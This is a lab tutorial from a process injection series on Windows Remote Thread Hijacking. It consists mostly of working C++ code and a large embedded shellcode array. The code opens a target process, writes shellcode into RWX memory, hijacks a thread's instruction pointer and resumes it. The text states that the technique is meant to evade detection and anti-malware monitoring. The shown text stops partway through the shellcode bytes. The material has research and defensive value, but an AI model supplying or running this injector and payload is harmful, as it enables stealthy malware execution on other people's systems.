ProcessInjectionTechniques
This comprehensive process injection series is crafted for cybersecurity enthusiasts, researchers, and professionals who aim to stay at the forefront of the field. It serves as a central repository of knowledge, offering in-depth exploration of various process injection techniques and methods used by adversaries.
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Remote Thread Hijacking
Overview
In this lab, we cover Remote Thread Hijacking technique, Remote Thread Hijacking is a method of injecting code into a process by hijacking an existing thread in that process. Unlike traditional code injection methods (e.g., using CreateRemoteThread or NtCreateThreadEx), this technique manipulates an already-running thread to execute malicious payloads. This makes detection harder, as no new thread creation events are logged, and it avoids common anti-malware defenses that monitor thread creation.
Steps
- Identify a Target Process and Thread
- Suspend the Target Thread
- Get Thread Context
- Allocate Memory in the Target Process
- Write the Payload into Allocated Memory
- Modify the Thread’s Execution Context
- Resume the Thread
Walkthrough
This function retrieves the Process ID (PID) of a running process by its name (processName).
DWORD GetProcessIdByName(const std::wstring& processName) {
DWORD processIds[1024], bytesReturned;
if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
return 0;
}
DWORD processCount = bytesReturned / sizeof(DWORD);
for (DWORD i = 0; i < processCount; ++i) {
if (processIds[i] == 0) continue;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
if (hProcess) {
WCHAR processNameBuffer[MAX_PATH];
if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
std::wstring currentProcessName(processNameBuffer);
if (currentProcessName.find(processName) != std::wstring::npos) {
CloseHandle(hProcess);
return processIds[i];
}
}
CloseHandle(hProcess);
}
}
std::cerr << "Process not found." << std::endl;
return 0;
}
This code open target process, allocate RWX memory region and write shellcode.
phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
rBuffer = VirtualAllocEx(phandle, NULL, sizeof bomb, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(phandle, rBuffer, bomb, sizeof bomb, NULL);
Creating a snapshot of all threads in the system using CreateToolhelp32Snapshot. It then iterates through these threads with Thread32Next to find one belonging to the specified process (pid). Upon locating the target thread, it opens a handle to this thread using OpenThread and suspends its execution with SuspendThread. The context of the suspended thread is retrieved with GetThreadContext, allowing the code to modify the instruction pointer (RIP) to point to the malicious payload located at rBuffer.
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &tEntry);
while (Thread32Next(snapshot, &tEntry))
{
if (tEntry.th32OwnerProcessID == pid)
{
tHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, tEntry.th32ThreadID);
break;
}
}
SuspendThread(tHijacked);
GetThreadContext(tHijacked, &context);
context.Rip = (DWORD_PTR)rBuffer;
SetThreadContext(tHijacked, &context);
ResumeThread(tHijacked);
Full Code
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <psapi.h>
DWORD GetProcessIdByName(const std::wstring& processName) {
DWORD processIds[1024], bytesReturned;
if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
return 0;
}
DWORD processCount = bytesReturned / sizeof(DWORD);
for (DWORD i = 0; i < processCount; ++i) {
if (processIds[i] == 0) continue;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
if (hProcess) {
WCHAR processNameBuffer[MAX_PATH];
if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
std::wstring currentProcessName(processNameBuffer);
if (currentProcessName.find(processName) != std::wstring::npos) {
CloseHandle(hProcess);
return processIds[i];
}
}
CloseHandle(hProcess);
}
}
std::cerr << "Process not found." << std::endl;
return 0;
}
int main() {
HANDLE phandle;
PVOID rBuffer;
HANDLE tHijacked = NULL;
HANDLE snapshot;
THREADENTRY32 tEntry;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
tEntry.dwSize = sizeof(THREADENTRY32);
unsigned char bomb[] = { 0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03,
0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00,
0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08,
0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18,
0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00,
0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00,
0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85,
0x58, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38,
0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x64, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64,
0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x6C, 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02,
0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F,
0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB,
0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01,
0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x60,
0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10,
0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x50, 0x01,
0x00, 0x00, 0xEB, 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F,
0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00,
0x48, 0x89, 0x85, 0x70, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74,
0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C,
0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0x50, 0x00,
0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x60, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85,
0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x8D, 0x01,
0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D,
0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0xEB,
0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C,
0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F,
0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88,
0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,
0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00,
0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF, 0x83, 0xBD, 0x88,
0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85,
0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,
0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x8C, 0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x88, 0x01, 0x00, 0x00,
0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85,
0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,
0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00,
0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC,
0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x30, 0x48, 0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,
0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA0,
0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8D, 0x98,
0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85,
0xB0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F,
0x63, 0x41, 0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B,
0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x10, 0x48, 0x39, 0x14,
0x01, 0x74, 0x10, 0x8B, 0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89,
0x85, 0xB8, 0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,
0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00,
0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xC0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48,
0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,
0x48, 0x89, 0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x0F, 0xBF,
0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04,
0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x48, 0x89, 0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x98, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00, 0xC7, 0x80, 0x14, 0x01,
0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x78, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00,
0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,
0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41, 0x48, 0x8D,
0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8,
0x52, 0x74, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x01,
0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x43, 0x72, 0x65, 0x61, 0x74,
0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65,
0x73, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,
0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,
0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x00, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,
0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x08, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69,
0x74, 0x55, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,
0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x10, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
